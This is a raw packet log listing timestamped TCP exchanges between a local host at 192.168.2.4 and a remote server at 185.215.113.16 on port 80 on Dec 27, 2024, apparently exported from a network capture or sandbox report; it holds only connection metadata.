Dec 27, 2024 09:00:17.197865963 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.198618889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.198693037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.198766947 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.199455976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.199564934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.199626923 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.200341940 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.200423002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.200474024 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.201241970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.201319933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.201375961 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.202167988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.202229023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.202275038 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.202982903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.203088999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.203291893 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.203851938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.204144001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.204205990 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.204751015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.204864025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.204925060 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.205590010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.205698967 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.205753088 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.206490040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.206629992 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.206713915 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.207357883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.207449913 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.207531929 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.208278894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.208360910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.208476067 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.209108114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.209233046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.209296942 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.210021019 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.210145950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.210206985 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.210863113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.210999012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.211039066 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.211735010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.211846113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.211921930 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.212685108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.212759018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.212929010 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.213525057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.213660955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.213711977 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.214425087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.214528084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.214607954 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.215334892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.215398073 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.215513945 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.216169119 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.216265917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.216372013 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.217041016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.217165947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.217235088 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.217952967 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.218039989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.218161106 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.218815088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.218880892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.218940020 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.219767094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.219856977 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.219909906 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.220917940 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.220971107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.221105099 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.221544027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.221640110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.221699953 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.222291946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.222425938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.222524881 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.223177910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.223285913 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.223330021 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.223416090 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.224061966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.224184990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.224291086 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.224936962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.229722023 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.380120039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.380269051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.380373001 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.380467892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.380580902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.380656958 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.381395102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.381473064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.381552935 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.382266045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.382368088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.382409096 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.383121014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.383248091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.383306980 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.384004116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.384103060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.384167910 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.384864092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.385092020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.385145903 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.385761976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.385922909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.386053085 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.386687040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.386795044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.386847973 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.387535095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.387628078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.387682915 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.388405085 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.388503075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.388536930 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.389260054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.389360905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.389461994 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.390139103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.390244961 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.390294075 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.391027927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.391141891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.391221046 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.391901970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.392018080 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.392055035 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.392854929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.392957926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.393024921 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.393656015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.393762112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.393841028 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.394570112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.394665003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.394705057 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.395425081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.395529032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.395657063 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.396327972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.396449089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.396573067 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.397193909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.397283077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.397356987 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.398052931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.398165941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.398252964 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.398943901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.399061918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.399132013 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.399801016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.399909973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.399950981 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.400672913 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.400779009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.400821924 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.401577950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.401679993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.401725054 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.402451992 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.402571917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.402611971 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.403309107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.403438091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.403493881 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.404223919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.404298067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.404370070 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.405070066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.405193090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.405343056 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.405958891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.406004906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.406066895 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.406877995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.406970024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.407118082 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.407763004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.407869101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.407968044 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.408629894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.408698082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.408765078 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.409488916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.409641981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.409713030 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.410399914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.410538912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.410595894 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.411278009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.411393881 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.411480904 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.412117004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.412237883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.412364960 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.412996054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.413116932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.413172960 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.413933039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.413992882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.414073944 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.414764881 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.414889097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.415013075 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.415699959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.415751934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.415798903 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.416500092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.416624069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.416687965 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.417387009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.417510986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.417571068 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.418303013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.418391943 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.418450117 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.419152975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.419264078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.419328928 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.419869900 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.420031071 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.420114040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.420205116 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.420892000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.421000957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.421061039 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.421834946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.421907902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.421996117 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.422691107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.422784090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.422841072 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.423546076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.423645020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.423727989 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.424427032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.424510002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.424587011 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.425297976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.425411940 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.425465107 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.426162958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.426634073 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.581304073 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.581379890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.581438065 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.581754923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.581938982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.581985950 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.582611084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.582735062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.582788944 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.583473921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.583578110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.583632946 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.584326029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.584507942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.584561110 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.585227966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.585345030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.585397959 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.586107016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.586251974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.586370945 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.586970091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.587136030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.587181091 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.587923050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.587989092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.588047028 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.588735104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.588825941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.588898897 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.589626074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.589737892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.589898109 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.590481997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.590599060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.590666056 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.591377974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.591480017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.591567993 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.592592955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.592713118 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.592796087 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.593143940 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.593266964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.593329906 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.594028950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.594136000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.594266891 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.594861984 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.594988108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.595225096 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.595777988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.595876932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.595952034 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.596664906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.596786976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.596903086 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.597554922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.597651958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.597724915 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.598391056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.598505974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.598716021 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.599301100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.599380970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.599437952 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.600171089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.600191116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.600296021 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.601088047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.601149082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.601253986 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.601942062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.602041006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.602127075 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.602796078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.602848053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.602914095 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.603674889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.603868961 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.603955984 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.604548931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.604677916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.604808092 CET	49743	80	192.168.2.4	185.215.113.16
